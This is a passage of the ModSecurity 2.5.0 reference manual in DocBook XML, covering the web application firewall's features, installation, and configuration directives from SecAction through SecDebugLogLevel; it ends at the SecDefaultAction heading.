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<?xml version="1.0" encoding="UTF-8"?>
<article>
<title>ModSecurity Reference Manual</title>
<articleinfo>
<releaseinfo>Version 2.5.0 (February 19, 2008)</releaseinfo>
<copyright>
<year>2004-2008</year>
<holder>Breach Security, Inc. (<ulink
url="http://www.breach.com">http://www.breach.com</ulink>)</holder>
</copyright>
</articleinfo>
<section id="01-introduction">
<title>Introduction</title>
<para><trademark class="trade">ModSecurity</trademark> is a web
application firewall (WAF). With over 70% of all attacks now carried out
over the web application level, organisations need every help they can get
in making their systems secure. WAFs are deployed to establish an external
security layer that increases security, detects, and prevents attacks
before they reach web applications. It provides protection from a range of
attacks against web applications and allows for HTTP traffic monitoring
and real-time analysis with little or no changes to existing
infrastructure.</para>
<section>
<title>HTTP Traffic Logging</title>
<para>Web servers are typically well-equipped to log traffic in a form
useful for marketing analyses, but fall short when it comes to logging
of traffic to web applications. In particular, most are not capable of
logging the request bodies. Your adversaries know this, and that is why
most attacks are now carried out via POST requests, rendering your
systems blind. ModSecurity makes full HTTP transaction logging possible,
allowing complete requests and responses to be logged. Its logging
facilities also allow fine-grained decisions to be made about exactly
what is logged and when, ensure only the relevant data is
recorded.</para>
</section>
<section>
<title>Real-Time Monitoring and Attack Detection</title>
<para>In addition to providing logging facilities, ModSecurity can
monitor the HTTP traffic in real time in order to detect attacks. In
this case ModSecurity operates as a web intrusion detection tool,
allowing you to react to suspicious events that take place at your web
systems.</para>
</section>
<section>
<title>Attack Prevention and Just-in-time Patching</title>
<para>ModSecurity can also act immediately to prevent attacks from
reaching your web applications. There are three commonly used
approaches:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>Negative security model. Negative security model monitors
requests for anomalies, unusual behaviour, and common web
application attacks. It keeps anomaly scores for each request, IP
addresses, application sessions, and user accounts. Requests with
high anomaly scores are either logged or rejected altogether.</para>
</listitem>
<listitem>
<para>Positive security model. When positive security model is
deployed, only requests that are known to be valid are accepted,
with everything else rejected. This approach works best with
applications that are heavily used but rarely updated.</para>
</listitem>
<listitem>
<para>Known weaknesses and vulnerabilities. Its rule language makes
ModSecurity an ideal external patching tool. External patching is
all about reducing the window of opportunity. Time needed to patch
application vulnerabilities often runs to weeks in many
organisations. With ModSecurity, applications can be patched from
the outside, without touching the application source code (and even
without any access to it), making your systems secure until a proper
patch is produced.</para>
</listitem>
</orderedlist>
</section>
<section>
<title>Flexible Rule Engine</title>
<para>A flexible rule engine sits in the heart of ModSecurity. It
implements the ModSecurity Rule Language, which is a specialised
programming language designed to work with HTTP transaction data. The
ModSecurity Rule Language was designed to be easy to use, yet flexible:
common operations are simple while complex operations are possible.
Certified ModSecurity Rules, included with subscription to ModSecurity,
contain a comprehensive set of rules that implement general-purpose
hardening, common web application security issues. Heavily commented,
these rules can be used as a learning tool.</para>
</section>
<section>
<title>Embedded-mode Deployment</title>
<para>ModSecurity is an embeddable web application firewall, which means
it can be deployed as part of your existing web server infrastructure
provided your web servers are Apache-based. This deployment method has
certain advantages:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>No changes to existing network. It only takes a few minutes to
add ModSecurity to your existing web servers. And because it was
designed to be completely passive by default, you are free to deploy
it incrementally and only use the features you need. It is equally
easy to remove or deactivate it should decide you don't want it any
more.</para>
</listitem>
<listitem>
<para>No single point of failure. Unlike with network-based
deployments, you will not be introducing a new point of failure to
your system.</para>
</listitem>
<listitem>
<para>Implicit load balancing and scaling. Because it works embedded
in web servers, ModSecurity will automatically take advantage of the
additional load balancing and scalability features. You will not
need to think of load balancing and scaling unless your existing
system needs them.</para>
</listitem>
<listitem>
<para>Minimal overhead. Because it works from inside the web server
process there is no overhead for network communication and minimal
overhead in parsing and data exchange.</para>
</listitem>
<listitem>
<para>No problem with encrypted or compressed content. Many IDS
systems have difficulties analysing SSL traffic. This is not a
problem for ModSecurity because it is positioned to work when the
traffic is decrypted and decompressed.</para>
</listitem>
</orderedlist>
<para>ModSecurity is known to work well on a wide range of operating
systems. Our customers are successfully running it on Linux, Windows,
Solaris, FreeBSD, OpenBSD, NetBSD, AIX, Mac OS X, and HP-UX.</para>
</section>
<section>
<title>Network-based Deployment</title>
<para>ModSecurity works equally well when deployed as part of an
Apache-based reverse proxy server, and many of our customers choose to
do so. In this scenario, one installation of ModSecurity can protect any
number of web servers (even the non-Apache ones).</para>
</section>
<section id="03-licensing">
<title>Licensing</title>
<para>ModSecurity is available under two licenses. Users can choose to
use the software under the terms of the GNU General Public License
version 2 (licence text is included with the distribution), as an Open
Source / Free Software product. A range of commercial licenses is also
available, together with a range of commercial support contracts. For
more information on commercial licensing please contact Breach
Security.</para>
<note>
<para>ModSecurity, mod_security, and ModSecurity Pro are trademarks or
registered trademarks of Breach Security, Inc.</para>
</note>
</section>
</section>
<section>
<title>ModSecurity Core Rules</title>
<section>
<title>Overview</title>
<para>ModSecurity is a web application firewall engine that provides
very little protection on its own. In order to become useful,
ModSecurity must be configured with rules. In order to enable users to
take full advantage of ModSecurity out of the box, Breach Security Inc.
is providing a free certified rule set for ModSecurity 2.0. Unlike
intrusion detection and prevention systems, which rely on signature
specific to known vulnerabilities, the Core Rules provide generic
protection from unknown vulnerabilities often found in web applications,
which are in most cases custom coded. The Core Rules are heavily
commented to allow it to be used as a step-by-step deployment guide for
ModSecurity. The latest Core Rules can be found at the ModSecurity
website - <ulink
url="http://www.modsecurity.org/projects/rules/">http://www.modsecurity.org/projects/rules/</ulink>.</para>
</section>
<section>
<title>Core Rules Structure</title>
<para>If you expect a single pack of Apache configuration files, you are
right, and wrong. A ModSecurity rule set includes information about
different areas:</para>
<itemizedlist>
<listitem>
<para>The logic required to detect attacks.</para>
</listitem>
<listitem>
<para>A policy setting the actions to perform if an attack is
detected.</para>
</listitem>
<listitem>
<para>Information regarding attacks.</para>
</listitem>
</itemizedlist>
<para>In order to allow separate management of the different parts, the
Core Rules are based on templates that are generated into a run-time
rule set by inserting policy, patterns and event information. The Core
Rules package includes these templates, the generation script (written
in Perl) and data files required to generate a useful rule set. It also
includes a bunch of pre-generated rule sets for different policies. The
generation script also allows two optimizations:</para>
<itemizedlist>
<listitem>
<para>Optimal use of regular expressions. Since regular expressions
are much more efficient if assembled into a single expression and
optimized, the generation script takes the list of patterns that are
required for a rule and optimize them into a most efficient regular
expression.</para>
</listitem>
<listitem>
<para>Removal of rules that are not utilized by a specific
policy.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title>Core Rules Content</title>
<para>In order to provide generic web applications protection, the Core
Rules use the following techniques:</para>
<itemizedlist>
<listitem>
<para>HTTP protection - detecting violations of the HTTP protocol
and a locally defined usage policy.</para>
</listitem>
<listitem>
<para>Common Web Attacks Protection - detecting common web
application security attack.</para>
</listitem>
<listitem>
<para>Automation detection - Detecting bots, crawlers, scanners and
other surface malicious activity.</para>
</listitem>
<listitem>
<para>Trojan Protection - Detecting access to Trojans horses.</para>
</listitem>
<listitem>
<para>Error Hiding - Disguising error messages sent by the
server.</para>
</listitem>
</itemizedlist>
</section>
</section>
<section id="02-installation">
<title>Installation</title>
<para>ModSecurity installation consists of the following steps:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para>ModSecurity 2.x works with Apache 2.0.x or better.</para>
</listitem>
<listitem>
<para>Make sure you have <literal
moreinfo="none">mod_unique_id</literal> installed.</para>
<para>mod_unique_id is packaged with Apache httpd.</para>
</listitem>
<listitem>
<para>Install the latest version of libxml2, if it isn't already
installed on the server.</para>
<para><ulink type=""
url="http://xmlsoft.org/downloads.html">http://xmlsoft.org/downloads.html</ulink></para>
</listitem>
<listitem>
<para>Install the latest version of Lua in the 5.1.x branch, if it
isn't already installed on the server.</para>
<para><ulink type=""
url="http://www.lua.org/download.html">http://www.lua.org/download.html</ulink></para>
</listitem>
<listitem>
<para>Stop Apache httpd</para>
</listitem>
<listitem>
<para>Unpack the ModSecurity archive</para>
</listitem>
<listitem>
<para>Building differs for UNIX (or UNIX-like) operating systems and
Windows.</para>
<itemizedlist>
<listitem>
<para>UNIX</para>
<orderedlist>
<listitem>
<para>Run the configure script to generate a Makefile.
Typically no options are needed.</para>
<para><literal>./configure</literal></para>
<para>Options are available for more customization (use
<literal>./configure --help</literal> for a full list), but
typically you will only need to specify the location of the
<literal>apxs</literal> command installed by Apache httpd with
the <literal>--with-apxs</literal> option.</para>
<para><literal>./configure
--with-apxs=/path/to/httpd-2.x.y/bin/apxs</literal></para>
</listitem>
<listitem>
<para>Compile with: <literal>make</literal></para>
</listitem>
<listitem>
<para>Optionally test with: <literal>make
test</literal></para>
</listitem>
<listitem>
<para>Optionally build the ModSecurity Log Collector with:
<literal>make mlogc</literal></para>
</listitem>
<listitem>
<para>Optionally install <literal>mlogc</literal>: Review the
<literal>INSTALL</literal> file included in the
apache2/mlogc-src directory in the distribution.</para>
</listitem>
<listitem>
<para>Install the ModSecurity module with: <literal>make
install</literal></para>
</listitem>
</orderedlist>
</listitem>
<listitem>
<para>Windows (MS VC++ 8)</para>
<orderedlist>
<listitem>
<para>Edit <literal>Makefile.win</literal> to configure the
Apache base and library paths.</para>
</listitem>
<listitem>
<para>Compile with: <literal>nmake -f
Makefile.win</literal></para>
</listitem>
<listitem>
<para>Install the ModSecurity module with: <literal>nmake -f
Makefile.win install</literal></para>
</listitem>
<listitem>
<para>Copy the <literal>libxml2.dll</literal> and
<literal>lua5.1.dll</literal> to the Apache
<literal>bin</literal> directory. Alternatively you can follow
the step below for using LoadFile to load these
libraries.</para>
</listitem>
</orderedlist>
</listitem>
</itemizedlist>
</listitem>
<listitem>
<para>Edit the main Apache httpd config file (usually
<literal>httpd.conf</literal>)</para>
<para>On UNIX (and Windows if you did not copy the DLLs as stated
above) you must load libxml2 and lua5.1 before ModSecurity with
something like this:</para>
<para><programlisting>LoadFile /usr/lib/libxml2.so
LoadFile /usr/lib/liblua5.1.so</programlisting></para>
<para>Load the ModSecurity module with:<programlisting>LoadModule security2_module modules/mod_security2.so</programlisting></para>
</listitem>
<listitem>
<para>Configure ModSecurity</para>
</listitem>
<listitem>
<para>Start Apache httpd</para>
</listitem>
<listitem>
<para>You should now have ModSecurity 2.x up and running.</para>
</listitem>
</orderedlist>
<note>
<para>If you have compiled Apache yourself you might experience problems
compiling ModSecurity against PCRE. This is because Apache bundles PCRE
but this library is also typically provided by the operating system. I
would expect most (all) vendor-packaged Apache distributions to be
configured to use an external PCRE library (so this should not be a
problem).</para>
<para>You want to avoid Apache using the bundled PCRE library and
ModSecurity linking against the one provided by the operating system.
The easiest way to do this is to compile Apache against the PCRE library
provided by the operating system (or you can compile it against the
latest PCRE version you downloaded from the main PCRE distribution
site). You can do this at configure time using the<literal
moreinfo="none"> --with-pcre</literal> switch. If you are not in a
position to recompile Apache then, to compile ModSecurity successfully,
you'd still need to have access to the bundled PCRE headers (they are
available only in the Apache source code) and change the include path
for ModSecurity (as you did in step 7 above) to point to them.</para>
<para>Do note that if your Apache is using an external PCRE library you
can compile ModSecurity with <literal
moreinfo="none">WITH_PCRE_STUDY</literal> defined,which would possibly
give you a slight performance edge in regular expression
processing.</para>
</note>
</section>
<section id="03-configuration-directives">
<title>Configuration Directives</title>
<para>The following section outlines all of the ModSecurity directives.
Most of the ModSecurity directives can be used inside the various Apache
Scope Directives such as <literal>VirtualHost</literal>,
<literal>Location</literal>, <literal>LocationMatch</literal>,
<literal>Directory</literal>, etc... There are others, however, that can
only be used once in the main configuration file. This information is
specified in the Scope sections below.</para>
<para>These rules, along with the Core rules files, should be contained is
files outside of the httpd.conf file and called up with Apache "Include"
directives. This allows for easier updating/migration of the rules. If you
create your own custom rules that you would like to use with the Core
rules, you should create a file called -
<filename>modsecurity_crs_15_customrules.conf</filename> and place it in
the same directory as the Core rules files. By using this file name, your
custom rules will be called up after the standard ModSecurity Core rules
configuration file but before the other Core rules. This allows your rules
to be evaluate first which can be useful if you need to implement specific
"allow" rules or to correct any false positives in the Core rules as they
are applied to your site.</para>
<note>
<para>It is highly encouraged that you do not edit the Core rules files
themselves but rather place all changes (such as
<literal>SecRuleRemoveByID</literal>, etc...) in your custom rules file.
This will allow for easier upgrading as newer Core rules are released by
Breach Security on the ModSecurity website.</para>
</note>
<section>
<title><literal>SecAction</literal></title>
<para><emphasis>Description:</emphasis> Unconditionally processes the
action list it receives as the first and only parameter. It accepts one
parameter, the syntax of which is identical to the third parameter
of<literal moreinfo="none"> SecRule</literal>.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAction
action1,action2,action2</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAction
nolog,redirect:http://www.hostname.com</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para>SecAction is best used when you unconditionally execute an action.
This is explicit triggering whereas the normal Actions are conditional
based on data inspection of the request/response. This is a useful
directive when you want to run certain actions such as
<literal>initcol</literal> to initialize collections.</para>
</section>
<section>
<title><literal>SecArgumentSeparator</literal></title>
<para><emphasis>Description:</emphasis> Specifies which character to use
as separator for<literal moreinfo="none">
application/x-www-form-urlencoded</literal> content. Defaults to
<literal moreinfo="none">&amp;</literal>. Applications are sometimes
(very rarely) written to use a semicolon (<literal
moreinfo="none">;</literal>).</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecArgumentSeparator character</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecArgumentSeparator ;</literal></para>
<para><emphasis>Processing Phase:</emphasis> Any</para>
<para><emphasis> <emphasis>Scope:</emphasis> </emphasis> Main</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para>This directive is needed if a backend web application is using a
non-standard argument separator. If this directive is not set properly
for each web application, then ModSecurity will not be able to parse the
arguments appropriately and the effectiveness of the rule matching will
be significantly decreased.</para>
</section>
<section>
<title><literal>SecAuditEngine</literal></title>
<para><emphasis>Description:</emphasis> Configures the audit logging
engine.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecAuditEngine On|Off|RelevantOnly</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditEngine On</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Can be set/changed with
the "<literal>ctl</literal>" action for the current transaction.</para>
<para>Example: The following example shows the various audit directives
used together.</para>
<programlisting format="linespecific"><emphasis>SecAuditEngine RelevantOnly</emphasis>
SecAuditLog logs/audit/audit.log
SecAuditLogParts ABCFHZ
SecAuditLogType concurrent
SecAuditLogStorageDir logs/audit
<emphasis>SecAuditLogRelevantStatus ^[45]</emphasis></programlisting>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - log all transactions
by default.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not log
transactions by default.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">RelevantOnly</literal> - by default
only log transactions that have triggered a warning or an error, or
have a status code that is considered to be relevant (see<literal
moreinfo="none"> SecAuditLogRelevantStatus</literal>).</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecAuditLog</literal></title>
<para><emphasis>Description:</emphasis> Defines the path to the main
audit log file.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAuditLog
/path/to/auditlog</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLog
/usr/local/apache/logs/audit.log</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> This file is open on
startup when the server typically still runs as<emphasis>
root</emphasis>. You should not allow non-root users to have write
privileges for this file or for the directory it is stored in..</para>
<para>This file will be used to store the audit log entries if serial
audit logging format is used. If concurrent audit logging format is used
this file will be used as an index, and contain a record of all audit
log files created. If you are planning to use Concurrent audit logging
and sending your audit log data off to a remote Console host or
commercial ModSecurity Management Appliance, then you will need to
configure and use the ModSecurity Log Collector (mlogc) and use the
following format for the audit log:</para>
<para><programlisting format="linespecific">SecAuditLog "|/path/to/mlogc /path/to/mlogc.conf"</programlisting></para>
</section>
<section>
<title><literal>SecAuditLog2</literal></title>
<para><emphasis>Description:</emphasis> Defines the path to the
secondary audit log index file when concurrent logging is enabled. See
<literal moreinfo="none">SecAuditLog2</literal> for more details.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecAuditLog2
/path/to/auditlog2</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLog2
/usr/local/apache/logs/audit2.log</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> A main audit log must be
defined via <literal moreinfo="none">SecAuditLog</literal> before this
directive may be used. Additionally, this log is only used for
replicating the main audit log index file when concurrent audit logging
is used. It will <emphasis>not</emphasis> be used for non-concurrent
audit logging.</para>
</section>
<section>
<title><literal>SecAuditLogParts</literal></title>
<para><emphasis>Description:</emphasis> Defines the path to the main
audit log file.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecAuditLogParts PARTS</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLogParts ABCFHZ</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis> <emphasis>Scope:</emphasis> </emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> At this time ModSecurity
does not log response bodies of stock Apache responses (e.g. <literal
moreinfo="none">404</literal>), or the <literal
moreinfo="none">Server</literal> and <literal
moreinfo="none">Date</literal> response headers.</para>
<para>Default:<literal moreinfo="none"> ABCFHZ</literal>.</para>
<para>Available audit log parts:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">A</literal> - audit log header
(mandatory)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">B</literal> - request headers</para>
</listitem>
<listitem>
<para><literal moreinfo="none">C</literal> - request body (present
only if the request body exists and ModSecurity is configured to
intercept it)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">D</literal> - RESERVED for
intermediary response headers, not implemented yet.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">E</literal> - intermediary response
body (present only if ModSecurity is configured to intercept
response bodies, and if the audit log engine is configured to record
it). Intermediary response body is the same as the actual response
body unless ModSecurity intercepts the intermediary response body,
in which case the actual response body will contain the error
message (either the Apache default error message, or the
ErrorDocument page).</para>
</listitem>
<listitem>
<para><literal moreinfo="none">F</literal> - final response headers
(excluding the Date and Server headers, which are always added by
Apache in the late stage of content delivery).</para>
</listitem>
<listitem>
<para><literal moreinfo="none">G</literal> - RESERVED for the actual
response body, not implemented yet.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">H</literal> - audit log
trailer</para>
</listitem>
<listitem>
<para><literal moreinfo="none">I</literal> - This part is a
replacement for part C. It will log the same data as C in all cases
except when <literal moreinfo="none">multipart/form-data</literal>
encoding in used. In this case it will log a fake <literal
moreinfo="none">application/x-www-form-urlencoded</literal> body
that contains the information about parameters but not about the
files. This is handy if you don't want to have (often large) files
stored in your audit logs.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">J</literal> - RESERVED. This part,
when implemented, will contain information about the files uploaded
using <literal>multipart/form-data</literal> encoding.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">K</literal> - This part contains a
full list of every rule that matched (one per line) in the order
they were matched. The rules are fully qualified and will thus show
inherited actions and default operators. Supported as of
v2.5.0</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Z</literal> - final boundary,
signifies the end of the entry (mandatory)</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecAuditLogRelevantStatus</literal></title>
<para><emphasis>Description:</emphasis> Configures which response status
code is to be considered relevant for the purpose of audit
logging.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecAuditLogRelevantStatus REGEX</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLogRelevantStatus ^[45]</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Must have the
<literal>SecAuditEngine</literal> set to
<literal>RelevantOnly</literal>. The parameter is a regular
expression.</para>
<para>The main purpose of this directive is to allow you to configure
audit logging for only transactions that generate the specified HTTP
Response Status Code. This directive is often used to the decrease the
total size of the audit log file. Keep in mind that if this parameter is
used, then successful attacks that result in a 200 OK status code will
not be logged.</para>
</section>
<section>
<title><literal>SecAuditLogStorageDir</literal></title>
<para><emphasis>Description:</emphasis> Configures the storage directory
where concurrent audit log entries are to be stored.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecAuditLogStorageDir
/path/to/storage/dir</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLogStorageDir
/usr/local/apache/logs/audit</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> SecAuditLogType must be
set to Concurrent. The directory must already be created before starting
Apache and it must be writable by the web server user as new files are
generated at runtime.</para>
<para>As with all logging mechanisms, ensure that you specify a file
system location that has adequate disk space and is not on the root
partition.</para>
</section>
<section>
<title><literal>SecAuditLogType</literal></title>
<para><emphasis>Description:</emphasis> Configures the type of audit
logging mechanism to be used.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecAuditLogType Serial|Concurrent</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecAuditLogType Serial</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Must specify
<literal>SecAuditLogStorageDir</literal> if you use concurrent
logging.</para>
<para>Possible values are:</para>
<orderedlist continuation="restarts" inheritnum="ignore">
<listitem>
<para><literal moreinfo="none">Serial</literal> - all audit log
entries will be stored in the main audit logging file. This is more
convenient for casual use but it is slower as only one audit log
entry can be written to the file at any one file.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Concurrent</literal> - audit log
entries will be stored in separate files, one for each transaction.
Concurrent logging is the mode to use if you are going to send the
audit log data off to a remote ModSecurity Console host.</para>
</listitem>
</orderedlist>
</section>
<section>
<title><literal>SecCacheTransformations</literal></title>
<para><emphasis>Description:</emphasis> Controls caching of
transformations.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecCacheTransformations On|Off
[options]</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecCacheTransformations On
"minlen:64,maxlen:0"</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><literal>Version</literal>: 2.5.0</para>
<para><emphasis>Dependencies/Notes:</emphasis> N/A</para>
<para>First parameter:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">On</literal> - cache transformations
(per transaction, per phase) allowing identical transformations to
be performed only once. (default)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">Off</literal> - do not cache any
transformations, forcing all transformations to be performed for
each rule executed.</para>
</listitem>
</itemizedlist>
<para>The following options are allowed (comma separated):</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">minlen:N</literal> - do not cache the
transformation if the value's length is less than N bytes. (default:
15)</para>
</listitem>
<listitem>
<para><literal moreinfo="none">maxlen:N</literal> - do not cache the
transformation if the value's length is more than N bytes. A zero
value is interpreted as "unlimited". (default: 0)</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecChrootDir</literal></title>
<para><emphasis>Description:</emphasis> Configures the directory path
that will be used to jail the web server process.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecChrootDir
/path/to/chroot/dir</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecChrootDir /chroot</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Main</para>
<para><emphasis>Dependencies/Notes:</emphasis> The internal chroot
functionality provided by ModSecurity works great for simple setups. One
example of a simple setup is Apache serving static files only, or
running scripts using modules. Some problems you might encounter with
more complex setups:</para>
<orderedlist>
<listitem>
<para>DNS lookups do not work (this is because this feature requires
a shared library that is loaded on demand, after chroot takes
place).</para>
</listitem>
<listitem>
<para>You cannot send email from PHP because it uses sendmail and
sendmail is outside the jail.</para>
</listitem>
<listitem>
<para>In some cases Apache graceful no longer works.</para>
</listitem>
</orderedlist>
<para>You should be aware that the internal chroot feature might not be
100% reliable. Due to the large number of default and third-party
modules available for the Apache web server, it is not possible to
verify the internal chroot works reliably with all of them. A module,
working from within Apache, can do things that make it easy to break out
of the jail. In particular, if you are using any of the modules that
fork in the module initialisation phase (e.g.
<literal>mod_fastcgi</literal>, <literal>mod_fcgid</literal>,
<literal>mod_cgid</literal>), you are advised to examine each Apache
process and observe its current working directory, process root, and the
list of open files. Consider what your options are and make your own
decision.</para>
</section>
<section>
<title><literal>SecComponentSignature</literal></title>
<para><emphasis>Description</emphasis>: Appends component signature to
the ModSecurity signature.</para>
<para><emphasis>Syntax</emphasis>: <literal>SecComponentSignature
"COMPONENT_NAME/X.Y.Z (COMMENT)"</literal></para>
<para><emphasis>Example usage</emphasis>: <literal>SecComponentSignature
"Core Rules/1.2.3"</literal></para>
<para><emphasis>Scope</emphasis>: Main</para>
<para><emphasis>Version</emphasis>: 2.5.0</para>
<para><emphasis>Notes</emphasis>: This directive should be used to make
the presence of significant ModSecurity components known. The entire
signature will be recorded in transaction audit log. It should be used
by ModSecurity module and rule set writers to make debugging
easier.</para>
</section>
<section>
<title><literal>SecContentInjection</literal></title>
<para><emphasis>Description:</emphasis> Enables content injection using
actions <literal>append</literal> and <literal>prepend</literal>.</para>
<para><emphasis>Syntax:</emphasis> <literal>SecContentInjection
(On|Off)</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal>SecContentInjection
On</literal></para>
<para><emphasis>Version</emphasis>: 2.5.0</para>
</section>
<section>
<title><literal>SecCookieFormat</literal></title>
<para><emphasis>Description:</emphasis> Selects the cookie format that
will be used in the current configuration context.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecCookieFormat 0|1</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecCookieFormat 0</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">0</literal> - use version 0
(Netscape) cookies. This is what most applications use. It is the
default value.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">1</literal> - use version 1
cookies.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecDataDir</literal></title>
<para><emphasis>Description:</emphasis> Path where persistent data (e.g.
IP address data, session data, etc) is to be stored.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecDataDir
/path/to/dir</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecDataDir /usr/local/apache/logs/data</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis><emphasis><emphasis>Scope</emphasis>:</emphasis>
</emphasis> Main</para>
<para><emphasis>Dependencies/Notes: </emphasis> This directive is needed
when initcol, setsid an setuid are used. Must be writable by the web
server user.</para>
</section>
<section>
<title><literal>SecDebugLog</literal></title>
<para><emphasis>Description:</emphasis> Path to the ModSecurity debug
log file.</para>
<para><emphasis>Syntax:</emphasis> <literal moreinfo="none">SecDebugLog
/path/to/modsec-debug.log</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecDebugLog
/usr/local/apache/logs/modsec-debug.log</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> None</para>
</section>
<section>
<title><literal>SecDebugLogLevel</literal></title>
<para><emphasis>Description:</emphasis> Configures the verboseness of
the debug log data.</para>
<para><emphasis>Syntax:</emphasis> <literal
moreinfo="none">SecDebugLogLevel 0|1|2|3|4|5|6|7|8|9</literal></para>
<para><emphasis>Example Usage:</emphasis> <literal
moreinfo="none">SecDebugLogLevel 4</literal></para>
<para><emphasis>Processing Phase:</emphasis> N/A</para>
<para><emphasis>Scope:</emphasis> Any</para>
<para><emphasis>Dependencies/Notes:</emphasis> Levels <literal
moreinfo="none">1 - 3</literal> are always sent to the Apache error log.
Therefore you can always use level <literal moreinfo="none">0</literal>
as the default logging level in production. Level <literal
moreinfo="none">5</literal> is useful when debugging. It is not
advisable to use higher logging levels in production as excessive
logging can slow down server significantly.</para>
<para>Possible values are:</para>
<itemizedlist>
<listitem>
<para><literal moreinfo="none">0</literal> - no logging.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">1</literal> - errors (intercepted
requests) only.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">2</literal> - warnings.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">3</literal> - notices.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">4</literal> - details of how
transactions are handled.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">5</literal> - as above, but including
information about each piece of information handled.</para>
</listitem>
<listitem>
<para><literal moreinfo="none">9</literal> - log everything,
including very detailed debugging information.</para>
</listitem>
</itemizedlist>
</section>
<section>
<title><literal>SecDefaultAction</literal></title>
